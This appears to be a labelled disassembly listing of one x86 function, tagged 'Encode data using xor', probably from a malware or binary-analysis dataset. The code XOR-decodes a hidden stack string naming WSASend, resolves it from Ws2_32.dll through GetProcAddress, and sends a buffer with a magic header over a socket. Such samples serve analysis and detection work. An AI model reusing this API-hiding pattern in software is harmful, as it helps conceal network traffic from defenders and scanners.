Function at 0x41dd50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5088cd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
sub esp, 8
mov esi, esp
mov dword [ebp - 0x1c], esp
mov dword [esi], 0
mov dword [esi + 4], 0
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x41dd9b
lock inc dword [eax + 4]
mov eax, dword [ebp + 8]
mov dword [esi], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 4], eax
mov byte [ebp - 4], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x34]
call fcn.0041d830
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], edx
mov dword [eax], 0
mov dword [eax + 4], 0
mov byte [ebp - 4], 3
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
mov dword [ebp + 8], ecx
mov dword [ebp - 0x1c], esi
mov dword [ebp + 0xc], edx
mov byte [ebp - 4], 2
or edi, 0xffffffff
test esi, esi
je 0x41de23
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x41de23
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
mov eax, edi
lock xadd dword [esi + 8], eax
jne 0x41de23
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov byte [ebp - 4], 0
mov esi, dword [ebp - 0x30]
test esi, esi
je 0x41de4d
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x41de4d
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
mov eax, edi
lock xadd dword [esi + 8], eax
jne 0x41de4d
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
lea ecx, [ebp - 0x28]
call fcn.0046d400
mov byte [ebp - 4], 4
mov esi, dword [ebp - 0x28]
push 0
push 0x1651
call fcn.00407ed0
mov ecx, dword [ebp + 8]
add esp, 8
mov ecx, dword [ecx + 0x10]
add ecx, eax
mov eax, dword [esi + 0x10]
cmp ecx, eax
ja 0x41de8b
mov dword [esi + 0x10], ecx
cmp dword [esi + 0x14], 0xf
jbe 0x41de85
mov esi, dword [esi]
mov byte [esi + ecx], 0
jmp 0x41de97
sub ecx, eax
push 0
push ecx
mov ecx, esi
call fcn.0046b420
mov eax, dword [ebp - 0x28]
cmp dword [eax + 0x14], 0xf
jbe 0x41dea2
mov eax, dword [eax]
mov dword [eax], 0xabbadaad
mov esi, dword [ebp - 0x28]
mov eax, dword [ebp + 8]
cmp dword [esi + 0x14], 0xf
mov ebx, dword [eax + 0x10]
jbe 0x41deb9
mov esi, dword [esi]
push 0
push 0x1659
call fcn.00407ed0
add esp, 8
mov dword [eax + esi], ebx
mov esi, dword [ebp - 0x28]
cmp dword [esi + 0x14], 0xf
jbe 0x41ded6
mov esi, dword [esi]
push 0
push 0x1655
call fcn.00407ed0
mov ecx, dword [ebp - 0x10]
add esp, 8
mov dword [eax + esi], ecx
mov eax, dword [ebp + 8]
mov ecx, eax
cmp dword [ecx + 0x14], 0xf
jbe 0x41def8
mov eax, dword [eax]
mov esi, dword [ebp - 0x28]
cmp dword [esi + 0x14], 0xf
jbe 0x41df03
mov esi, dword [esi]
push dword [ecx + 0x10]
push eax
push 0
push 0x1651
call fcn.00407ed0
add esp, 8
add eax, esi
push eax
call fcn.004e1370
push 0
push 0x165d
call fcn.00407ed0
mov ecx, dword [ebp - 0x28]
mov esi, eax
add esp, 0x14
cmp esi, dword [ecx + 0x10]
jae 0x41dfbc
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, ecx
mov dword [ebp - 0x10], 0
cmp dword [edx + 0x14], 0xf
jbe 0x41df52
mov ecx, dword [ecx]
lea eax, [ecx + esi]
mov dword [ebp - 0x34], 0xb9a8bbb0
mov dword [ebp - 0x1c], eax
mov eax, dword [edx + 0x10]
sub eax, esi
mov dword [ebp - 0x30], 0x89828e
mov dword [ebp - 0x20], eax
xor eax, eax
mov byte [ebp - 0x2c], 1
lea ecx, [eax - 0x19]
xor byte [ebp + eax - 0x34], cl
inc eax
cmp eax, 7
jb 0x41df74
push str.Ws2_32.dll
mov byte [ebp - 0x2c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x34]
push ecx
push eax
call ebx
push 0
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
push 1
lea ecx, [ebp - 0x20]
push ecx
push dword [ebp - 0x14]
call eax
cmp eax, 0xffffffff
je 0x41e027
mov ecx, dword [ebp - 0x28]
add esi, dword [ebp - 0x10]
cmp esi, dword [ecx + 0x10]
jb 0x41df41
mov bl, 1
mov byte [ebp - 4], 0
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x41dfe8
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x41dfe8
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
mov eax, edi
lock xadd dword [esi + 8], eax
jne 0x41dfe8
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x41e014
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x41e014
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock xadd dword [esi + 8], edi
dec edi
jne 0x41e014
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 4]
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
xor bl, bl
jmp 0x41dfbe